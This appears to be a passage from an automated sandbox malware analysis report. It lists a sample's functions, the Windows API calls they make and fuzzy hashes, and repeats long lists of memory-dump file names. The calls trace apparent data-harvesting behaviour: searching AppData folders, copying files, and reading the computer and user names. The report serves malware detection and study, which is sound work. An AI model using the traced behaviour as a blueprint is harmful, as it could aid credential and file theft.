Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: e695d5911c5c4d82d5228150ea3f59f1680acf6426f2ae84e98f97d0a4dd9188
Instruction ID: 813e2a9fd8e250450e80c7d2f315a9b60ce5a00a636dad741346a181e77f92c1
Opcode Fuzzy Hash: e695d5911c5c4d82d5228150ea3f59f1680acf6426f2ae84e98f97d0a4dd9188
Instruction Fuzzy Hash: 1171E871920208EBDB05FBA4DD5ADEE73B9BF54300F404628F547A61D1EF386A49CB62

Function 00704BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00708DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00708E0B

lstrcat.KERNEL32(?,00000000), ref: 00704BEA
lstrcat.KERNEL32(?,0123D9E0), ref: 00704C08

Part of subcall function 00704910: wsprintfA.USER32 ref: 0070492C
Part of subcall function 00704910: FindFirstFileA.KERNEL32(?,?), ref: 00704943

Part of subcall function 00704910: StrCmpCA.SHLWAPI(?,00710FDC), ref: 00704971
Part of subcall function 00704910: StrCmpCA.SHLWAPI(?,00710FE0), ref: 00704987
Part of subcall function 00704910: FindNextFileA.KERNEL32(000000FF,?), ref: 00704B7D
Part of subcall function 00704910: FindClose.KERNEL32(000000FF), ref: 00704B92

Part of subcall function 00704910: wsprintfA.USER32 ref: 007049B0
Part of subcall function 00704910: StrCmpCA.SHLWAPI(?,007108D2), ref: 007049C5
Part of subcall function 00704910: wsprintfA.USER32 ref: 007049E2
Part of subcall function 00704910: PathMatchSpecA.SHLWAPI(?,?), ref: 00704A1E
Part of subcall function 00704910: lstrcat.KERNEL32(?,0123E848), ref: 00704A4A
Part of subcall function 00704910: lstrcat.KERNEL32(?,00710FF8), ref: 00704A5C
Part of subcall function 00704910: lstrcat.KERNEL32(?,?), ref: 00704A70
Part of subcall function 00704910: lstrcat.KERNEL32(?,00710FFC), ref: 00704A82
Part of subcall function 00704910: lstrcat.KERNEL32(?,?), ref: 00704A96
Part of subcall function 00704910: CopyFileA.KERNEL32(?,?,00000001), ref: 00704AAC
Part of subcall function 00704910: DeleteFileA.KERNEL32(?), ref: 00704B31

Part of subcall function 00704910: wsprintfA.USER32 ref: 00704A07

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 124a3d3d8d856d131853346fae958b8a15d5b6b2f24bfcafeaedcb32fa50fe4b
Instruction ID: 0e39eb12c274228d6fa86eb6afba8538c6c26fee1335da61b489a1bea76c787a
Opcode Fuzzy Hash: 124a3d3d8d856d131853346fae958b8a15d5b6b2f24bfcafeaedcb32fa50fe4b
Instruction Fuzzy Hash: D441E6F6514104EBC794F7A4EC46EFE337DA789300F008618B685561C5ED75ABC88BD2

Function 006F6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 006F6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 006F6753

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7ddd7511609e0fb0c8063142439101e5395293586757f96601ecd1d53d5c2e54
Instruction ID: bd8457e5b9937d10cc1a00113699f81c61627570579912289782ce8e48c57b0f
Opcode Fuzzy Hash: 7ddd7511609e0fb0c8063142439101e5395293586757f96601ecd1d53d5c2e54
Instruction Fuzzy Hash: BC41B874A00209EFCB44CF58C494BADBBB2FF48314F2486A9E9599B355D731EA81CF84

Function 00705050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00708DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00708E0B

lstrcat.KERNEL32(?,00000000), ref: 0070508A
lstrcat.KERNEL32(?,0123DF78), ref: 007050A8

Part of subcall function 00704910: wsprintfA.USER32 ref: 0070492C
Part of subcall function 00704910: FindFirstFileA.KERNEL32(?,?), ref: 00704943

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 10d65458dbad6eab4f60ee1dc978cc882bb6df06c34da9b49402580deed2b3f5
Instruction ID: 1aac015b26e6e2d20cf9e7866c1344e12818e5d2f28c3f1eda91cd2de8b858f1
Opcode Fuzzy Hash: 10d65458dbad6eab4f60ee1dc978cc882bb6df06c34da9b49402580deed2b3f5
Instruction Fuzzy Hash: 580188B6914208E7C754FB64DC46EEA737CAB54300F004658B6C9561D1EE75AAC88F92

Function 006F10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 006F10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 006F10F7

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 59d2e9bc9facdc91fdea4a29127dbf4a9e51a4c1074e7e0008a59891ba013883
Instruction ID: 6acaebea24b5ffae58641d02f385c4f3ccdaf6330172789f90ba670436f6bcb8
Opcode Fuzzy Hash: 59d2e9bc9facdc91fdea4a29127dbf4a9e51a4c1074e7e0008a59891ba013883
Instruction Fuzzy Hash: D4F0E271641208FBE7149AA8AC49FBAB7ECE705B55F300848F644E7280D971AE00DAA5

Function 00708D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,006F1B54,?,?,0071564C,?,?,00710E1F), ref: 00708D9F

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9fbf25f1763a303449a76557062b1e620b666b9c4467c8d7e4f11f1cef44b97f
Instruction ID: 28e72f5e7a3d67d4da4ea5f0a6ac03b8524f741e7ff1bf7f965568aa44694207
Opcode Fuzzy Hash: 9fbf25f1763a303449a76557062b1e620b666b9c4467c8d7e4f11f1cef44b97f
Instruction Fuzzy Hash: 79F0AC70D04208FBCB04EF94D9496DCBBB4EB14310F108399D856673D0DB785A55DF82

Function 00708DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00708E0B

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: f7d54a0e38456bff3310e8bbcbf0d2dbc06c07f45f06ebc23775f5f4aeff7ade
Instruction ID: 4774965d4a64bdc48be58c80d230df3b394a615ce74124e1044dbcbaab208cdc
Opcode Fuzzy Hash: f7d54a0e38456bff3310e8bbcbf0d2dbc06c07f45f06ebc23775f5f4aeff7ade
Instruction Fuzzy Hash: 66E01A31A4034CBBDB91EB94CC96FAE73BC9B44B01F004295BA4C5A1C0DE74AB858B92

Function 006F1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 007078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00707910
Part of subcall function 007078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00707917
Part of subcall function 007078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0070792F

Part of subcall function 00707850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006F11B7), ref: 00707880
Part of subcall function 00707850: RtlAllocateHeap.NTDLL(00000000), ref: 00707887
Part of subcall function 00707850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0070789F

ExitProcess.KERNEL32 ref: 006F11C6

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: d8da2cad052d1e03449b7439dbc680d70c4db6d3e5bcefa8b300e3dff2a58d67
Instruction ID: d545870f02b913f7db7ad616f4cd8e396b2dbec6f2281a18c18477b645194e81
Opcode Fuzzy Hash: d8da2cad052d1e03449b7439dbc680d70c4db6d3e5bcefa8b300e3dff2a58d67
Instruction Fuzzy Hash: 42E012B5E28305D3CA0473B0AC0FB6A32DC5B15389F044524FA45D6692FE2DF800D966

Non-executed Functions

